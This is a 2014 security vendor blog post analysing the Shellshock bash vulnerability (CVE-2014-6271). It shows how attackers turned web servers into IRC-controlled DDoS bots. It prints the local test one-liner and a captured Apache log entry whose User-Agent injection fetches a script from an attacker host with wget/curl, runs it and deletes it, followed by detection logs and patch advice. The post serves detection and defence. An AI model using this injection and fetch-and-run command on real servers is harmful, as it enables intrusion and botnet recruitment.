<iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56W9VX" height="0" width="0" style="display:none;visibility:hidden">

Nexusguard Blog

Cybersecurity best practices and DDoS defence strategies

Latest Stories

Featured Stories

Blog Home
Frank Tse
By
September 26, 2014

Turning Web Servers into DDoS Bots with Shellshock.

Summary

Full score. 10 out of 10.

The CVE-2014-6271 vulnerability, also known as Bash or Shellshock, got a full score from NVD’s CVSS v2 Base Score: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C), which means such a vulnerability could be triggered from remote networks and impact the confidentiality, integrity and availability of data. This bug is even more severe than the Heartbleed bug that affected millions of websites earlier this year.

 

In short, the attacker can run any commands on the server side if there’re dynamic pages using cgi-bin scripts.

 

This exploit is quite simple: malicious commands are injected into a specially-crafted bash shell command, that ignores the dummy portion within the code, executing instead the malicious code. See below example:

 

A malicious code is executed in a vulnerable platform: And rather than the dummy function definition, bash shell command “echo this is a test” that display one line of text “this is a text” was shown after that

$ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”

vulnerable

this is a test

 

Conversely, in a  non-vulnerable  platform, such definition is allowed and the first portion of code will not be executed. The system will return an error message of undefined function ‘x’ while running the rest of the code normally.

$ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”

bash: warning: x: ignoring function definition attempt

bash: error importing function definition for `x’

this is a test

 

 

Proof of concept

 

While the above code was used for local exploit, the remote exploit code is also easy to generate and already widespread at the time this blog is being prepared.

 

Remote code execution vulnerability allows an attacker to run codes on the server side, through handling HTTP request; In our test case, Apache with user www-data. As long as the attacker can run any code on the server side, the entire exploit chain can be carried out.

 

Below is the sample attack code being captured by Apache access logs:

GET /cgi-bin/hello HTTP/1.0″ 301 0 “-” “() { :;}; /bin/bash -c \x22cd /tmp;wget http://xxx/yyy;curl -O http://xxx/yyy ; perl /tmp/yyy;rm -rf /tmp/yyy\x22

 

The above code attempts to download attack scripts from an external website (controlled by an attacker), execute it and remove the downloaded file, and lastly cover its own tracks.

 

Further examining the attack source code, such an attack was able to connect to an IRC server (server IP address hard-coded) and wait for attack command messages inside a chat room. This is truly a classic C&C style DDoS botnet.

 

 

Attack options were limited to httpflood, udpflood and tcpflood , very preliminary but good enough to generate a decent amount of DDoS attack traffic. One of the more advanced features is the removal of the file when it’s loaded into the server’s memory, which could make it untraceable.

 

Detection of remote execution

 

Here is a sample Apache log when the attack was successfully launched.

 

xx.xx.xx.xx – – [26/Sep/2014:17:03:31 +0800] “GET /cgi-bin/hi4.pl HTTP/1.1″ 500 834 “-” “() { :;}; /bin/bash -c ‘commands'”

 

When the request is successful, the page end-user will see an HTTP 500 – internal server error – since the injected codes were not well recognized by the bash.

 

Internal Server Error

The server encountered an internal error and was unable to complete your request.

 

Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

 

Apache/2.2.22 (Ubuntu) Server at xxx.xxxxxxxxx.com Port 80

 

 

Below is the apache error log indication the actions performed during the exploit.

 

[Fri Sep 26 17:03:31 2014] [error] [clientxx.xx.xx.xx] –2014-09-26 17:03:31–  http://xxxx/yy.exe

[Fri Sep 26 17:03:31 2014] [error] [clientxx.xx.xx.xx] Connecting to xx.xx.xx.xx:80…

[Fri Sep 26 17:03:31 2014] [error] [clientxx.xx.xx.xx] connected.

[Fri Sep 26 17:03:31 2014] [error] [clientxx.xx.xx.xx] HTTP request sent, awaiting response… 200 OK

[Fri Sep 26 17:03:31 2014] [error] [clientxx.xx.xx.xx] Length: 35328 (34K) [application/x-msdos-program]

[Fri Sep 26 17:03:31 2014] [error] [clientxx.xx.xx.xx] Premature end of script headers: hi4.pl

 

 

How to avoid stop the GNU Bash/Shellshock bug

Since the time of writing, GNU has already released flash patches that will protect servers against this latest bug. It is highly recommended, crucial even, to ensure you have the latest patch installed. Please visit the official page for the patches: http://lists.gnu.org/archive/html/bug-bash/2014-09/threads.html

The CVE-2014-6271 vulnerability, also known as Bash or Shellshock, got a vulnerability could be triggered from remote networks and impact the confidentiality, integrity and availability of data.

Comments Form: